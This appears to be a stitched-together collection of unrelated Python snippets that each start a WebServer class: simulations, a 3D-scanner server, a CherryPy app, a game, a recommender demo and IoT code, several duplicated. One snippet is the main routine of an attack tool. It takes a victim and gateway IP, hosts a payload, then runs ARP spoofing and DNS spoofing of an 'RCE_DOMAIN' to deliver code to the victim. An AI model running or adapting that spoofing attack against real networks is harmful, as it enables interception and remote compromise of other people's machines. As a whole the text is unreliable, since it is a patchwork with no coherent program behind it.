def simulation(clients_number): """ Simulation of queue network """ clients = [Client() for x in range(clients_number)] simulation_table = SimulationTable(clients_number=clients_number) simulation_table.populate_initial_simulation_data( arrival_instant=arrival_instant) table = simulation_table.table table = WebServer.simulate_server_in(table=table, clients=clients, velocity=velocity) table = ApplicationServer.simulate_server_in(table=table, clients=clients, velocity=velocity) table = DatabaseServer.simulate_server(table=table, clients=clients, velocity=velocity) table = ApplicationServer.simulate_server_out(table=table, clients=clients, velocity=velocity) table = WebServer.simulate_server_out(table=table, clients=clients, velocity=velocity) print(table) save_simulation_csv(table)
def simulation(clients_number): """ Simulation of queue network """ clients = [Client() for x in range(clients_number)] simulation_table = SimulationTable(clients_number=clients_number) simulation_table.populate_initial_simulation_data(arrival_instant=arrival_instant) table = simulation_table.table table = WebServer.simulate_server_in(table=table, clients=clients, velocity=velocity) table = ApplicationServer.simulate_server_in(table=table, clients=clients, velocity=velocity) table = DatabaseServer.simulate_server(table=table, clients=clients, velocity=velocity) table = ApplicationServer.simulate_server_out(table=table, clients=clients, velocity=velocity) table = WebServer.simulate_server_out(table=table, clients=clients, velocity=velocity) print(table) save_simulation_csv(table)
def main(): appPath, host, port = parseOptions() jspath = os.environ.get('JSPATH', '').split(':') jspaths = [os.path.abspath(os.path.expanduser(path)) for path in jspath] appjsPath = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..')) if appjsPath not in jspaths: jspaths.append(appjsPath) from Loader import Loader loader = Loader(jspaths) # XXXjoe Take this list as a command line argument loader.transientExtensions = ['.jss'] app = None if appPath: app = loader.searchApp(appPath) if not app: import sys sys.stderr.write('Unable to find app "%s"\n' % appPath) return from WebServer import WebServer WebServer.serve(host, port, loader, app)
def start(self): """Sets up the server to listen on a port and starts all subsystems.""" port = self.getConfig('server_port', int, 8880) ip = self.getConfig('server_ip', str, '') reactor.listenTCP(port, self, interface=ip) self.web = WebServer(self) self.web.start() self.workProvider.start()
class FSServer(): def __init__(self,config_file, settings_file): self._logger = logging.getLogger(__name__) self._logger.setLevel(logging.DEBUG) self.hardwareController = None self.config_file = config_file self.settings_file = settings_file def run(self): self._logger.info("FabScanPi-Server "+str(__version__)) try: injector.provide_instance(FSEventManager, FSEventManager(), name="FSEventManager") # create Singleton instances _config = Config.instance(self.config_file) _settings = Settings.instance(self.settings_file) _hardwareController = HardwareController.instance() _eventManager = FSEventManager.instance() # Websocket Server self.fsWebSocketServer = FSWebSocketServer() self.fsWebSocketServer.start() _scanner = FSScanner() _scanner.start() # Web Server self.fsWebServer = WebServer() self.fsWebServer.start() while True: time.sleep(0.3) #self.fsWebServer.serve_forever() except (KeyboardInterrupt, SystemExit): time.sleep(0.5) _hardwareController.laser.off() _hardwareController.led.off() _hardwareController.turntable.stop_turning() sys.exit(0)
def main() -> int: server = WebServer(port=8085) server.add_rule('task1', task1) try: server.run() except KeyboardInterrupt: server.close() return 0
def __init__(self, m): QWidget.__init__(self) self.gameVar = GameVar() # Contient tout les variables du jeu self.MW = m self.on_click try: self.initSerial() except serial.SerialException as e: print("Erreur connexion Arduino") self.gameVar.error += str(e) print(e) self.ws = WebServer(self.gameVar, self) self.ws.start()
def get_processing_durations(self): self.wsInDuration, self.wsOutDuration = WebServer.get_processing_time( self.interaction) self.asInDuration, self.asOutDuration = ApplicationServer.get_processing_time( ) self.firewallDelay = Firewall.get_processing_time(self.interaction) self.bdDuration = DatabaseServer.get_processing_time()
def run(self): self._logger.info("FabScanPi-Server "+str(__version__)) try: # create Singleton instances _config = Config.instance(self.config_file) _settings = Settings.instance(self.settings_file) _hardwareController = HardwareController.instance() _eventManager = FSEventManager.instance() # Websocket Server self.fsWebSocketServer = FSWebSocketServer() self.fsWebSocketServer.start() _scanner = FSScanner() _scanner.start() # Web Server self.fsWebServer = WebServer() self.fsWebServer.serve_forever() except (KeyboardInterrupt, SystemExit): time.sleep(0.5) _hardwareController.laser.off() _hardwareController.led.off() _hardwareController.turntable.stop_turning() sys.exit(0)
def main(): global RCE_DOMAIN if len(sys.argv) < 5: print("[-] Expecting 4 arguments, got %i." % (len(sys.argv) - 1)) print( "%s [Interface Name] [Victim IP] [Gateway IP] [Payload Filename]" % sys.argv[0]) return 0 if os.geteuid() != 0: print("[-] root permissions required.") return 0 interface_name = sys.argv[1] target_ip = sys.argv[2] gateway_ip = sys.argv[3] payload_filename = sys.argv[4] print("[+] Grabbing interface IP address.") interface_ip = get_ip_address(interface_name) if interface_ip == "0.0.0.0": print("[-] Could not find the IPv4 Address of the provided interface.") return 0 print("[+] Starting webserver.") WebServer(payload_filename) print("[+] Starting ARP Spoofing.") ARPSpoofer(target_ip, gateway_ip) print("[+] Starting DNS Spoofing.") DNSSpoofer(RCE_DOMAIN, interface_ip) return 0
def do_activate(self): WebPlayer.DBAccess.rbshell = self.object WebPlayer.PlayerControl.rbshell = self.object Views.Views.rbplugin = self Views.Views.add_template_path("web/") print "starting server..." self.__server = WebServer("0.0.0.0", 8001, "webplayer.settings") self.__server.start()
def start_server(environment): if not os.path.exists('temp'): os.makedirs('temp') if not os.path.exists('log'): os.makedirs('log') setup_logging() global_config_filename = f"global-{environment}.ini" cherrypy.config.update(global_config_filename) cherrypy.config.update({'error_page.500': error_page_500}) webapp = WebServer() webapp.get_options = GetOptionsService() webapp.set_options = SetOptionsService() webapp.get_default_dataset_headers = GetDefaultDatasetHeadersService() cherrypy.quickstart(webapp, '/', "app.ini")
def start(self): """Sets up the server to listen on a port and starts all subsystems.""" port = self.getConfig("server_port", int, 8880) ip = self.getConfig("server_ip", str, "") reactor.listenTCP(port, self, interface=ip) self.web = WebServer(self) self.web.start() self.workProvider.start()
def deskWriteJob(arglist, kwargs): info = arglist[0] #print "in the thread is:" + str(info) webservername = str(info["dev_name"]) if info["dev_name"] not in g_client_list: g_lock.acquire() print "new webserver" print info["dev_name"] g_client_list[info["dev_name"]] = info["dev_name"] g_lock_dict[info["dev_name"]] = thread.allocate_lock() newwebserver = WebServer() newwebserver.SetDevname(info["dev_name"]) g_websever[info["dev_name"]] = newwebserver g_lock.release() temp_lock = g_lock_dict[info["dev_name"]] temp_lock.acquire() temp_webserver = g_websever[info["dev_name"]] temp_webserver.JobDespatcher(info) temp_lock.release()
def main() -> int: server = WebServer( port=8085 ) # Change this number to change the web server port being served. robot = Robot( port=None ) # Change this number to change the serial port number being used to control the robot. detector = ImageDetector( resolution_front=Resolution(1280, 720), resolution_bottom=Resolution(1280, 720), in_video_front= 'f.mp4', # Set the in_video_front and in_video_bottom to 0 and 1 for cameras. in_video_bottom='b.mp4', # video_path_front=f'output_f_{time.time()}.avi', # video_path_bottom=f'output_b_{time.time()}.avi', ) detector_thread = Thread(target=detector_loop(detector, robot)) detector_thread.daemon = False detector_thread.start() actions = Actions(robot=robot, detector=detector) robot.set_handler(actions.on_read) for name, action in actions.list.items(): server.add_rule(name, action) server.run() actions.run() def on_exit(): robot.close() server.close() register_exit_event(on_exit) return 0
class FSServer(): def __init__(self,config_file, settings_file): self._logger = logging.getLogger(__name__) #self._logger.setLevel(logging.INFO) self.hardwareController = None self.config_file = config_file self.settings_file = settings_file def run(self): try: # create Singleton instances _config = Config.instance(self.config_file) _settings = Settings.instance(self.settings_file) _hardwareController = HardwareController.instance() _eventManager = FSEventManager.instance() # Websocket Server self.fsWebSocketServer = FSWebSocketServer() self.fsWebSocketServer.start() _scanner = FSScanner() _scanner.start() # Web Server self.fsWebServer = WebServer() self.fsWebServer.serve_forever() except (KeyboardInterrupt, SystemExit): time.sleep(0.5) _hardwareController.laser.off() _hardwareController.led.off() _hardwareController.turntable.stop_turning() sys.exit(0)
def main(): web_server = WebServer(teams) web_server.start() print "Start ZMQ response server." context = zmq.Context() socket = context.socket(zmq.REP) socket.bind("tcp://*:5555") while True: print "Waiting for next request..." message = socket.recv() max = len(message) max = 150 if max > 150 else max print "Request: ", message[:max] answer = processRequest(message) socket.send(answer) print "\tResponse: ", answer web_server.stop()
def __init__(self): self.timeToSendSelfInfo = 10 self.ap = WifiAP() firmware = FirmwareHasher.calculate() print("Code firmware: " + str(firmware)) self.decoration = NetworkNodeDecoration(self.ap.ID, -1, -1, firmware, {}) self.meshState = MeshNetworkState(self.decoration) self.messageBoard = MessageBoard(self.meshState) self.mesh = LoraMeshAdapter(self.messageBoard, self.meshState) self.view = WebClientView(self.messageBoard, self.meshState) self.www = WebServer(self.view)
# simulate different request coming into the system from WebServer import WebServer, Request, Action configMap = {"numberToServe": 10, "data_dir": "DATA"} server = WebServer(configMap) server.start( ) # load all the data in the database, start the first model training # now experiment reqX1 = Request(userId='X1') req1 = Request(userId=1) print(reqX1) print(req1) recX1 = server.renderRec(reqX1) # output recommendations print(recX1) rec1 = server.renderRec(req1) # output recommendations print(rec1) # now we start an action action1 = Action(1, 255, 5) # user 1 rated item 255 as score 5 print(server.getFromInventory(255)) # find out the name of item 255 server.getAction(action1) # feed the action to the server rec1_afteraction = server.renderRec( req1) # get recommendation after the system knows about the action print(rec1_afteraction) actionX1 = Action('X1', 123, 5) # anonymous user's action won't be saved in database
# local imports from PassScheduler import PassScheduler from WebServer import WebServer scheduler = PassScheduler() webserver = WebServer(scheduler) scheduler.start() webserver.start() input()
### MAIN ### import signal import sys import time import RPi.GPIO as GPIO from WebServer import WebServer GPIO.setwarnings(False) def shutdownServer(sig, unused): server.shutdown() print('Clean-up') GPIO.cleanup() time.sleep(1) sys.exit(1) signal.signal(signal.SIGINT, shutdownServer) server = WebServer(10000) server.start() print("Press Ctrl+C to shut down server.")
def __init__(self, elkIP): self.WindowsEvents = WindowsEvents(elkIP) self.WebLogs = WebServer(elkIP) self.DatabaseLogs = DatabaseLogs(elkIP)
def main(): ws = WebServer() signal(SIGINT, ws.endServer) ws.start()
from Server import Server from WebServer import WebServer import threading import time import schedule server = Server("", 2332) web_server = WebServer() def server_threading(): """用于启动服务器进程的函数""" server.start() def web_server_threading(): """用于启动网站服务器进程的函数""" web_server.run("", 5000) def update(): """更新网页信息""" # 更新流量信息 tumple_dict = server.get_tumple_dict() web_server.calculate_five_tumple(tumple_dict) def main(): """主函数"""
def get_processing_durations(self): self.wsInDuration, self.wsOutDuration = WebServer.get_processing_time(self.interaction) self.asInDuration, self.asOutDuration = ApplicationServer.get_processing_time() self.firewallDelay = Firewall.get_processing_time(self.interaction) self.bdDuration = DatabaseServer.get_processing_time()
import sys from WebServer import WebServer from flask import request if __name__ == "__main__": server = WebServer() # server.host = "0.0.0.0" server.port = 5001 server.init() server.run()
async def main(): logging.info('{0}() : Python {1}'.format(sys._getframe().f_code.co_name, sys.version_info)) tasks = [] loop = asyncio.get_event_loop() executor = ThreadPoolExecutor(max_workers=4, thread_name_prefix='videoThread') signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) for s in signals: loop.add_signal_handler( s, lambda s=s: loop.create_task(shutdown(loop, executor, signal=s))) try: # # Default to USB Webcam # # with VideoProcessor(videoPath = '/home/wcbiot/OpenVINO-Toolkit-Setup/App/ObjectDetection/Python/youtube.mp4') as videoProcessor: with VideoProcessor(videoPath = '/dev/video0') as videoProcessor: # async with VideoProcessor(devicePath = '/dev/video0') as videoProcessor: # # Initialize Tornado Web Server # webServer = WebServer(videoProcessor = videoProcessor, port = 8080) if (sys.version_info >= (3, 7)): loop = asyncio.get_running_loop() loop.set_debug(False) else: loop = asyncio.get_event_loop() loop.set_debug(False) # # Start Capturing from Video # videoStreamTask = loop.create_task(videoProcessor.videoData.capture_video_frame_async(executor)) tasks.append(videoStreamTask) # # Start Processing video frames # videoProcessTask = loop.create_task(videoProcessor.process_video_frame_async(executor)) tasks.append(videoProcessTask) # # Start Tornado Web Server # webServer.start_web_server() # # keyboard input # inputTask = loop.run_in_executor(executor, stdin_listener) # tasks.append(inputTask) await inputTask for task in tasks: # print("Task {}", task) task.cancel() done, futures = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED) # webServer.stop_web_server() except CancelledError: logging.info('-- {0}() - Cancelled'.format(sys._getframe().f_code.co_name)) except Exception as ex: exc_type, exc_obj, exc_tb = sys.exc_info() traceback.print_exception(exc_type, exc_obj, exc_tb) logging.error('!! {0}() : Exception {1}'.format(sys._getframe().f_code.co_name, ex)) finally: logging.info('-- {0}() - Finally'.format(sys._getframe().f_code.co_name)) for task in asyncio.Task.all_tasks(): logging.info("Task {}".format(task)) # done, futures = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION) # print("done {}", done) # print("futures {}", futures) # await asyncio.gather(*tasks, return_exceptions=True) await loop.shutdown_asyncgens()
class ClusterServer(Factory): """ClusterServer is the root class for the server. It maintains the database and listens for incoming connections. """ protocol = WorkerConnection versionNumber = (1, 45) def __init__(self, db): self.db = db self.workProvider = WorkProvider(self) self.workers = [] self.web = None self.configCallbacks = {} def getConfig(self, var, type=str, default=None, callback=None): """Reads a configuration variable out of the database. Will attempt to convert it into the specified type. If the variable is not found, or type conversion fails, returns the default. """ # Take care of the callback first, before encountering any returns... if callable(callback): callbacks = self.configCallbacks.setdefault(var, []) if callback not in callbacks: callbacks.append(callback) # This should only loop once. for (value,) in self.db.execute("SELECT value FROM config WHERE var=? " "LIMIT 1;", (var,)): try: value = type(value) except (TypeError, ValueError): return default else: return value # Type-converted # Variable is not present in the database. return default def getAllConfig(self): """Retrieves all configuration values from the database.""" config = {} for var, value in self.db.execute("SELECT var, value FROM config;"): config[var] = value return config def setConfig(self, var, value): """Writes a configuration variable to the database. The value is type-converted to a string for storage. """ # There might be an old definition, so take it out if so. self.db.execute("DELETE FROM config WHERE var=?;", (var,)) if value is not None: # Setting to None means the variable gets cleared. self.db.execute("INSERT INTO config (var,value) VALUES (?,?);", (var, str(value))) # Now inform any waiting callbacks... for callback in self.configCallbacks.get(var, []): callback() def listAccountConnections(self, username): """List every connected, logged-in worker using the specified username. The username is case-sensitive. """ return filter(lambda x: x.account and x.account.username == username, self.workers) def getConnection(self, sessionno): """Gets a connection by its session ID.""" for w in self.workers: if w.transport.sessionno == sessionno: return w def start(self): """Sets up the server to listen on a port and starts all subsystems.""" port = self.getConfig("server_port", int, 8880) ip = self.getConfig("server_ip", str, "") reactor.listenTCP(port, self, interface=ip) self.web = WebServer(self) self.web.start() self.workProvider.start()
class ClusterServer(Factory): """ClusterServer is the root class for the server. It maintains the database and listens for incoming connections. """ protocol = WorkerConnection versionNumber = (1, 45) def __init__(self, db): self.db = db self.workProvider = WorkProvider(self) self.workers = [] self.web = None self.configCallbacks = {} def getConfig(self, var, type=str, default=None, callback=None): """Reads a configuration variable out of the database. Will attempt to convert it into the specified type. If the variable is not found, or type conversion fails, returns the default. """ # Take care of the callback first, before encountering any returns... if callable(callback): callbacks = self.configCallbacks.setdefault(var, []) if callback not in callbacks: callbacks.append(callback) # This should only loop once. for value, in self.db.execute( 'SELECT value FROM config WHERE var=? ' 'LIMIT 1;', (var, )): try: value = type(value) except (TypeError, ValueError): return default else: return value # Type-converted # Variable is not present in the database. return default def getAllConfig(self): """Retrieves all configuration values from the database.""" config = {} for var, value in self.db.execute('SELECT var, value FROM config;'): config[var] = value return config def setConfig(self, var, value): """Writes a configuration variable to the database. The value is type-converted to a string for storage. """ # There might be an old definition, so take it out if so. self.db.execute('DELETE FROM config WHERE var=?;', (var, )) if value is not None: # Setting to None means the variable gets cleared. self.db.execute('INSERT INTO config (var,value) VALUES (?,?);', (var, str(value))) # Now inform any waiting callbacks... for callback in self.configCallbacks.get(var, []): callback() def listAccountConnections(self, username): """List every connected, logged-in worker using the specified username. The username is case-sensitive. """ return filter(lambda x: x.account and x.account.username == username, self.workers) def getConnection(self, sessionno): """Gets a connection by its session ID.""" for w in self.workers: if w.transport.sessionno == sessionno: return w def start(self): """Sets up the server to listen on a port and starts all subsystems.""" port = self.getConfig('server_port', int, 8880) ip = self.getConfig('server_ip', str, '') reactor.listenTCP(port, self, interface=ip) self.web = WebServer(self) self.web.start() self.workProvider.start()
class Game(QWidget): def __init__(self, m): QWidget.__init__(self) self.gameVar = GameVar() # Contient tout les variables du jeu self.MW = m self.on_click try: self.initSerial() except serial.SerialException as e: print("Erreur connexion Arduino") self.gameVar.error += str(e) print(e) self.ws = WebServer(self.gameVar, self) self.ws.start() def checkSensor(self): gv = self.gameVar try: self.ser.write(gv.sendArduino().encode()) line = self.ser.readline() gv.interprete(line.decode('utf-8').rstrip()) except Exception as e: self.gameVar.error = str(e) if not gv.defaite and not gv.pause and not gv.stressMode: Simon.checkSimon(self) Fils.checkFils(self) Symbole.checkSymbole(self) checkBouton(self) if gv.stressMode and gv.stressModeStarted: StressMode.checkStressMode(self) def erreurGlobal(self, module): self.gameVar.moduleErr[module] += 1 self.gameVar.nbErreur = sum(self.gameVar.moduleErr) self.gameVar.sounds["error"].play() if self.gameVar.nbErreur > self.gameVar.nbErreurMax: self.defaite() else: for i in range(4): if i < self.gameVar.nbErreur: self.gameVar.chronoLedErr[i] = 1 else: self.gameVar.chronoLedErr[i] = 0 if self.gameVar.moduleErr[module] == 1 and module != 5: Chrono.removeXmMin(self, 3) elif self.gameVar.moduleErr[module] > 1 and module != 5: Chrono.removeXmMin(self, 1) def bip(self): if self.gameVar.pause: return if self.gameVar.stressMode: self.gameVar.sounds["bip2"].play() elif self.gameVar.chronoBoutonSon: self.gameVar.sounds["bip"].play() Chrono.chrono(self) def initSerial(self): self.ser = "" try: self.ser = serial.Serial('/dev/ttyUSB0', 19200, timeout=1) except: try: self.ser = serial.Serial('/dev/ttyUSB1', 19200, timeout=1) except Exception as e: raise e print(self.ser.write("initialisation\n".encode())) line = self.ser.readline() self.gameVar.serialOK = 1 def start(self): Fils.initFils(self.gameVar) Symbole.initSymbole(self.gameVar) Simon.initSimon(self.gameVar) ScreenGame.paintButton(self) self.timerBip = QtCore.QTimer() self.timerBip.timeout.connect(self.bip) self.timerBip.start(1000) self.timer = QtCore.QTimer() self.timer.timeout.connect(self.checkSensor) self.timer.start(50) self.timerLumiere = QtCore.QTimer() self.timerLumiere.timeout.connect( lambda: Simon.lumiereSimon(self.gameVar)) self.timerLumiere.start(500) @pyqtSlot() def on_click(self): print("lala") btn = self.sender() guess(self, btn) def victoire(self): self.gameVar.pause = 1 self.gameVar.sounds["victoire"].play() self.timerBip.stop() self.gameVar.moduleWin = [1, 1, 1, 1, 1] self.gameVar.lumSimon = [0, 0, 0, 0] self.gameVar.symboleLum = [0, 0, 0, 0] self.gameVar.boutonBande = [0, 1, 0] self.gameVar.chronoLum = 1 self.gameVar.chronoBlink = 0 if self.gameVar.escapeGame: self.timerStress.stop() self.gameVar.stressModeStarted = 0 self.MW.stackSetup.setCurrentIndex(4) self.MW.win.reloadChrono() def defaite(self): if self.gameVar.defaite: # defaite() déjà appelé return print("defaite") if self.gameVar.stressModeStarted == 1: try: self.gameVar.sounds["stress"].stop() except: pass self.gameVar.chronoBlink = 1 self.gameVar.chronoLum = 2 self.gameVar.defaite = True self.timerLumiere.stop() self.timerBip.stop() self.gameVar.sounds["defaite"].play() QTimer().singleShot(14000, self.retourMenu) QTimer().singleShot(3200, self.callbackDefaite) self.gameVar.moduleWin = [0, 0, 0, 0, 0] self.blink = 30 def callbackDefaite(self): self.gameVar.chronoLum = 0 self.gameVar.chronoBlink = 0 self.gameVar.chronoLedErr = [1, 1, 1, 1] self.gameVar.simonErreur = 1 self.gameVar.calcErreur = 1 self.gameVar.symboleErreur = 1 self.gameVar.boutonErreur = 1 self.gameVar.filErreur = 1 self.gameVar.lumSimon = [1, 1, 1, 1] self.gameVar.symboleLum = [1, 1, 1, 1] self.gameVar.boutonBande = [1, 1, 1] QTimer().singleShot(50, self.callbackDefaiteBlink) def callbackDefaiteBlink(self): self.gameVar.chronoLedErr = [0, 0, 0, 0] self.gameVar.simonErreur = 0 self.gameVar.calcErreur = 0 self.gameVar.symboleErreur = 0 self.gameVar.boutonErreur = 0 self.gameVar.filErreur = 0 self.gameVar.moduleErr = [1, 1, 1, 1, 1] self.gameVar.lumSimon = [0, 0, 0, 0] self.gameVar.symboleLum = [0, 0, 0, 0] self.gameVar.boutonBande = [0, 0, 0] self.blink -= 1 if self.blink > 0: QTimer().singleShot(50, self.callbackDefaite) def retourMenu(self): self.gameVar.reset() self.MW.stackSetup.setCurrentIndex(0) self.MW.setup.mPrincipal() def slot_repaint(self): eraseAll(self) paintButton(self) def slot_win_screenGame(self): win(self) def exit(self): self.ws.exit()
from WebServer import WebServer myServer = WebServer() myServer.awaitConnection()
def main(): my_server = WebServer("127.0.0.1", 8008) my_server.serve_web()
import socket from WebServer import WebServer import sys import signal def shutdownServer(sig, unused): # Fecha o server caso receba sinal server.shutdown() sys.exit(1) if __name__ == "__main__": signal.signal(signal.SIGINT, shutdownServer) server = WebServer() server.run()
from uasyncio import get_event_loop from mDnsServer import mDnsServer from WifiManager import WifiManager from WebServer import WebServer from ClockManager import ClockManager from settings import readNetId PUBLIC_NAME = "clock" netId = readNetId() publicName = "{}-{}".format(PUBLIC_NAME, netId) wifiManager = WifiManager(publicName) mdnsServer = mDnsServer(wifiManager, publicName) webServer = WebServer(wifiManager) clockManager = ClockManager(wifiManager, webServer) loop = get_event_loop() loop.run_forever() loop.close()
def Cherry(): Log.info('######################Start Cherrypy!########################') cherrypy.config.update({'environment' : 'production', 'engine.autoreload_on' : False, 'checker.on' : False, 'server.socket_host' : '0.0.0.0', 'server.socket_port' : UtilFunc.getWebServerPort(), 'server.thread_pool' : 6, 'server.thread_pool_max' : 10, 'server.max_request_body_size' : sys.maxint, 'log.screen' : True, }) services = {'/storages':Storages(), '/system':System(), '/version':Version(), '/files':Files(), '/share':Share(), '/search':Search(), '/logs':ESLog(), '/batch':Batch(), '/photos':Photos(), '/music':Music(), '/video':Video(), '/backup':Backup()} if not UtilFunc.isPCMode(): from Apps.AppCtrl import AppCtrl services['/app'] = AppCtrl() for server in services.keys(): mountService(services[server], "/api" + server) Log.info('Mount APIServices Complete!') cherrypy.tree.mount(portal(), '/', config={'/': {'tools.auth.on' : False, 'tools.staticdir.on' : True, 'tools.staticdir.dir' : UtilFunc.module_path(), }, }) Log.info('Mount Portal Service Complete!') cherrypy.tree.mount(GuestShare(), '/share', config={'/': _getMountConfig(False)}) Log.info('Mount GuestShare Service Complete!') try: server2 = _cpwsgi_server.CPWSGIServer() server2.bind_addr = ('0.0.0.0', 1984) adapter2 = _cpserver.ServerAdapter(cherrypy.engine, server2, server2.bind_addr) adapter2.subscribe() cherrypy.tree.graft(WebServer().my_crazy_app, "/web") syncdir = os.path.join(os.getcwd(),"sync") if not os.path.exists(syncdir): os.mkdir(syncdir) config = {"mount_path" :"/syncservice", "provider_mapping":{"webdav":syncdir}, "user_mapping" :{}, "verbose" :2, "dir_browser" :{ "enable" : True, "response_trailer": "", "davmount" : False, "msmount" : False } } cherrypy.tree.graft(WsgiDAVApp(config),"/syncservice") Log.info('Start WsgiDAV Complete!') except Exception, e: Log.info('WsgiDAV Start Failed! Reason[%s]'%e)